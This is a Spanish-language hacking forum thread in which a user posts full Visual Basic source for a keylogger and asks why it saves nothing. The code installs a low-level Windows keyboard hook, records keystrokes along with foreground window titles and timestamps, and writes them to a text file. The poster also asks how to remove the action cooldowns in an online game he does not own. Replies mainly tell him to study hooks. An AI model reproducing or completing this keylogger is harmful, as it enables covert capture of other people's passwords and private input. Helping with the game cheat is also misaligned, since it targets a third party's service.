elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Keylogger y 0 intervalo
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Keylogger y 0 intervalo  (Leído 3,442 veces)
BahiereTTi

Desconectado Desconectado

Mensajes: 18


Ver Perfil
Keylogger y 0 intervalo
« en: 12 Julio 2011, 22:12 pm »

Mi keylogger (Lo saque en un aporte, le modifique donde se guarda, porque no entendi una ***** como se guardaba en el aporte ni como lo leia)
Código
  1. Option Explicit
  2.  
  3. '|||||||||||||||||||||||
  4. '|                     |
  5. '|Autor: Karcrack      |
  6. '|Fecha: 24/09/08      |
  7. '|                     |
  8. '|||||||||||||||||||||||
  9.  
  10.  
  11. Public Sub ManageKeylogger(ByVal Enable As Boolean)
  12.    Select Case Enable
  13.        Case True
  14.            KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0)
  15.        Case False
  16.            Call UnhookWindowsHookEx(KBHook)
  17.    End Select
  18. End Sub
  19.  
  20. Public Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
  21.    Dim KeyBoardHook        As KBDLLHOOKSTRUCT
  22.  
  23.    If nCode = 0 Then
  24.        CopyMemory KeyBoardHook, lParam, Len(KeyBoardHook)
  25.        With KeyBoardHook
  26.            If .Flags = 0 Or .Flags = 1 Then
  27.                If SaveLog(TranslateKey(.VkCode)) > 50 Then
  28.                    Call LogToFile(App.Path & "\Log.log")
  29.                End If
  30.            End If
  31.        End With
  32.    Else
  33.        KBProc = CallNextHookEx(KBHook, nCode, wParam, lParam)
  34.    End If
  35. End Function
  36.  
  37. Private Function TranslateKey(ByVal KeyCode As Long) As String
  38.    Dim LngShift            As Long
  39.  
  40.    'Funcion optimizada para su uso en teclados españoles.
  41.  
  42.    LngShift = GetAsyncKeyState(vbKeyShift)
  43.    If KeyCode >= 58 And KeyCode <= 90 Then
  44.        TranslateKey = IIf(LngShift <> 0, UCase(Chr(KeyCode)), LCase(Chr(KeyCode)))
  45.    ElseIf KeyCode >= 96 And KeyCode <= 105 Then
  46.        TranslateKey = Chr(KeyCode - 48)
  47.    ElseIf KeyCode >= 112 And KeyCode <= 123 Then
  48.        TranslateKey = "{F" & KeyCode - 111 & "}"
  49.    Else
  50.        If KeyCode = 160 Then TranslateKey = ""
  51.        If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}"
  52.        If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}"
  53.        If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}"
  54.        If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}"
  55.        If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}"
  56.        If KeyCode = 32 Then TranslateKey = "{ESPACIO}"
  57.        If KeyCode = 27 Then TranslateKey = "{ESC}"
  58.        If KeyCode = 46 Then TranslateKey = "{DEL}"
  59.        If KeyCode = 36 Then TranslateKey = "{HOME}"
  60.        If KeyCode = 35 Then TranslateKey = "{END}"
  61.        If KeyCode = 33 Then TranslateKey = "{PAGE UP}"
  62.        If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}"
  63.        If KeyCode = 45 Then TranslateKey = "{PASTE}"
  64.        If KeyCode = 144 Then TranslateKey = "{NUM}"
  65.        If KeyCode = 111 Then TranslateKey = "{NUMPAD / }"
  66.        If KeyCode = 106 Then TranslateKey = "{NUMPAD * }"
  67.        If KeyCode = 109 Then TranslateKey = "{NUMPAD - }"
  68.        If KeyCode = 107 Then TranslateKey = "{NUMPAD + }"
  69.        If KeyCode = 13 Then TranslateKey = "{ENTER}"
  70.        If KeyCode = 8 Then TranslateKey = "{BACK}"
  71.        If KeyCode = 221 Then TranslateKey = "{ACCENTO}"
  72.        If KeyCode = 9 Then TranslateKey = "{TAB}"
  73.        If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}"
  74.        If KeyCode = 162 Then TranslateKey = "{STRG LEFT}"
  75.        If KeyCode = 163 Then TranslateKey = "{STRG DER.}"
  76.        If KeyCode = 91 Then TranslateKey = "{WINDOWS}"
  77.        If KeyCode = 164 Then TranslateKey = "{ALT}"
  78.        If KeyCode = 165 Then TranslateKey = "{ALTGR}"
  79.        If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}"
  80.        If KeyCode = 188 Then TranslateKey = IIf(LngShift <> 0, ";", ",")
  81.        If KeyCode = 190 Then TranslateKey = IIf(LngShift <> 0, ":", ".")
  82.        If KeyCode = 189 Then TranslateKey = IIf(LngShift <> 0, "_", "-")
  83.        If KeyCode = 191 Then TranslateKey = IIf(LngShift <> 0, "'", "#")
  84.        If KeyCode = 187 Then TranslateKey = IIf(LngShift <> 0, "*", "+")
  85.        If KeyCode = 186 Then TranslateKey = IIf(LngShift <> 0, "Ü", "ü")
  86.        If KeyCode = 192 Then TranslateKey = IIf(LngShift <> 0, "Ö", "ö")
  87.        If KeyCode = 222 Then TranslateKey = IIf(LngShift <> 0, "Ä", "ä")
  88.        If KeyCode = 219 Then TranslateKey = IIf(LngShift <> 0, "?", "ß")
  89.        If KeyCode = 220 Then TranslateKey = IIf(LngShift <> 0, "°", "^")
  90.        If KeyCode = 48 Then TranslateKey = IIf(LngShift <> 0, "=", "0")
  91.        If KeyCode = 49 Then TranslateKey = IIf(LngShift <> 0, "!", "1")
  92.        If KeyCode = 50 Then TranslateKey = IIf(LngShift <> 0, """", "2")
  93.        If KeyCode = 51 Then TranslateKey = IIf(LngShift <> 0, "§", "3")
  94.        If KeyCode = 52 Then TranslateKey = IIf(LngShift <> 0, "$", "4")
  95.        If KeyCode = 53 Then TranslateKey = IIf(LngShift <> 0, "%", "5")
  96.        If KeyCode = 54 Then TranslateKey = IIf(LngShift <> 0, "&", "6")
  97.        If KeyCode = 55 Then TranslateKey = IIf(LngShift <> 0, "/", "7")
  98.        If KeyCode = 56 Then TranslateKey = IIf(LngShift <> 0, "(", "8")
  99.        If KeyCode = 57 Then TranslateKey = IIf(LngShift <> 0, ")", "9")
  100.        If KeyCode = 145 Then TranslateKey = "{ROLL}"
  101.        If KeyCode = 44 Then TranslateKey = "{PRINT}"
  102.        If KeyCode = 19 Then TranslateKey = "{PAUSE}"
  103.        If TranslateKey = "" And KeyCode <> 160 Then TranslateKey = KeyCode
  104.    End If
  105. End Function
  106.  
  107. Public Function SaveLog(ByVal sKey As String) As Double
  108.    Dim aHwnd               As Long
  109.    Dim WinText             As String
  110.    aHwnd = GetForegroundWindow
  111.  
  112.    If aHwnd <> lHwnd Then
  113.        lHwnd = aHwnd
  114.        WinText = String$(255, Chr$(0))
  115.        Call GetWindowText(aHwnd, WinText, Len(WinText))
  116.        WinText = Left$(WinText, InStr(WinText, Chr$(0)) - 1)
  117.  
  118.        KeyData = KeyData & vbCrLf & "{" & WinText & "} - [" & Now() & "]" & vbCrLf
  119.    End If
  120.  
  121.    KeyData = KeyData & sKey
  122.  
  123.    SaveLog = Len(KeyData)
  124. End Function
  125.  
  126. Public Sub LogToFile(ByVal sPath As String)
  127.    Open "C:\ARCHIVOS DE PROGRAMA\ASD.TXT" For Binary As #1
  128.        Put #1, , KeyData
  129.    Close #1
  130. End Sub



En un modulo:

Código
  1.  
  2. Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
  3. Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
  4. Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
  5. Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
  6. Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer
  7. Private Const WH_KEYBOARD_LL   As Long = 13
  8.  
  9. Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
  10. Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
  11.  
  12. Public Type KBDLLHOOKSTRUCT
  13.    VkCode                  As Long
  14.    ScanCode                As Long
  15.    Flags                   As Long
  16.    Time                    As Long
  17.    DwExtraInfo             As Long
  18. End Type
  19.  
  20. Dim KBHook                  As Long
  21. Dim KeyData                 As String
  22. Dim lHwnd                   As Long
  23.  
  24.  

Ejecuto el programa y no pasa nada :S

Osea, no se me guarda en el txt de asd...


Me pueden  explicar mejor como funciona?





Ahora el 0 intervalo...


Bueno...
Estuve tratando de hacer algún programa para que no haya intervalo nada, por ejemplo...

Mi juego, tiene el intervalo de lanzar un hechizo como de 1 segundo, entonces quiero que al clickear "Lanzar" y apretes en el usuario, no haya intervalo...
Sería, el intervalo de click que no afecte, ¿Como podría hacer?

El otro es el de la tecla U...
Con la U poteo...

Como puedo hacer para que no haya intervalo entre U Y U?

PD: Aclaro que no es mi juego, osea los codes no los tengo yo, es un juego online que yo juego.

Mucha suerte!

Espero que me den los codes :$


« Última modificación: 12 Julio 2011, 22:14 pm por BahiereTTi » En línea

BlackZeroX
Wiki

Desconectado Desconectado

Mensajes: 3.158


I'Love...!¡.


Ver Perfil WWW
Re: Keylogger y 0 intervalo
« Respuesta #1 en: 12 Julio 2011, 23:47 pm »

Si no hay intervalo entonces no hay bucle por decir algo... imaginate una linea... una linea es una sucesion finita de puntos con un intervalo siempre distinto de 0... si fuera su intervalo 0 solo seria un punto es decir nos eria una linea, esto aplica de la misma manera para lo que estas haciendo.

P.D.: TranslateKey para que este realmente optimizada le falta hacerle el else a cada uno de esos if then...

Dulces Lunas!¡.


En línea

The Dark Shadow is my passion.
BlackZeroX
Wiki

Desconectado Desconectado

Mensajes: 3.158


I'Love...!¡.


Ver Perfil WWW
Re: Keylogger y 0 intervalo
« Respuesta #2 en: 12 Julio 2011, 23:48 pm »

...
Como puedo hacer para que no haya intervalo entre U Y U?

PD: Aclaro que no es mi juego, osea los codes no los tengo yo, es un juego online que yo juego.

Mucha suerte!

Espero que me den los codes :$


amm ¬¬" , ponte a leer algo sobre Hooks por que ese codigo actua bajo esto... lo demas esperemos que depara el destino.

Dulces Lunas!¡.
En línea

The Dark Shadow is my passion.
BahiereTTi

Desconectado Desconectado

Mensajes: 18


Ver Perfil
Re: Keylogger y 0 intervalo
« Respuesta #3 en: 13 Julio 2011, 00:00 am »

Es que no tengo tiempo para leer ahora, estoy estudiando...

Según el aporte ese código andaba perfecto el de Keylogger, pero no entiendo donde se guarda toda la variable en la PC.
En línea

BlackZeroX
Wiki

Desconectado Desconectado

Mensajes: 3.158


I'Love...!¡.


Ver Perfil WWW
Re: Keylogger y 0 intervalo
« Respuesta #4 en: 13 Julio 2011, 01:08 am »


PD: Aclaro que no es mi juego, osea los codes no los tengo yo, es un juego online que yo juego.


Es que no tengo tiempo para leer ahora, estoy estudiando...

[hipocrita]
Es que no tengo tiempo para leer ahora, estoy jugando estudiando...
[/hipocrita]

Dulces Lunas!¡.
En línea

The Dark Shadow is my passion.
BahiereTTi

Desconectado Desconectado

Mensajes: 18


Ver Perfil
Re: Keylogger y 0 intervalo
« Respuesta #5 en: 13 Julio 2011, 01:54 am »

Nono, enserio, tengo 3 bajas y lunes martes y miercoles estoy castigado.

Hoy estoy porque me saque 2   10 y 1   9.


En línea

TGa.

Desconectado Desconectado

Mensajes: 43



Ver Perfil
Re: Keylogger y 0 intervalo
« Respuesta #6 en: 13 Julio 2011, 03:42 am »

si no lees no aprenderas nunca, nadie te va a dar el codigo hecho y no por postear 3 veces lo del intervalo te van a responder mas rapido
En línea

BahiereTTi

Desconectado Desconectado

Mensajes: 18


Ver Perfil
Re: Keylogger y 0 intervalo
« Respuesta #7 en: 13 Julio 2011, 19:40 pm »

Claro, coincido con vos, leo en mis tiempos libres...

Pero no se me ocurre ni encuentro nada para cambiar el intervalo de la tecla en un juego :S
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Intervalo entre clicks
Programación Visual Basic
traviatØ 6 3,637 Último mensaje 6 Agosto 2009, 19:50 pm
por Dessa
Generar un número en intervalo de tiempo
Desarrollo Web
Cergath 2 5,289 Último mensaje 10 Enero 2011, 00:03 am
por #!drvy
Apretar la U sin intervalo
Programación Visual Basic
BahiereTTi 2 1,741 Último mensaje 12 Julio 2011, 22:41 pm
por BahiereTTi
Buscar el número con más ceros en un intervalo
Java
siuxoes 2 2,016 Último mensaje 15 Diciembre 2013, 16:56 pm
por siuxoes
intervalo de control timer en horas
Programación Visual Basic
rapbyone 3 1,881 Último mensaje 12 Junio 2014, 22:57 pm
por MCKSys Argentina
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines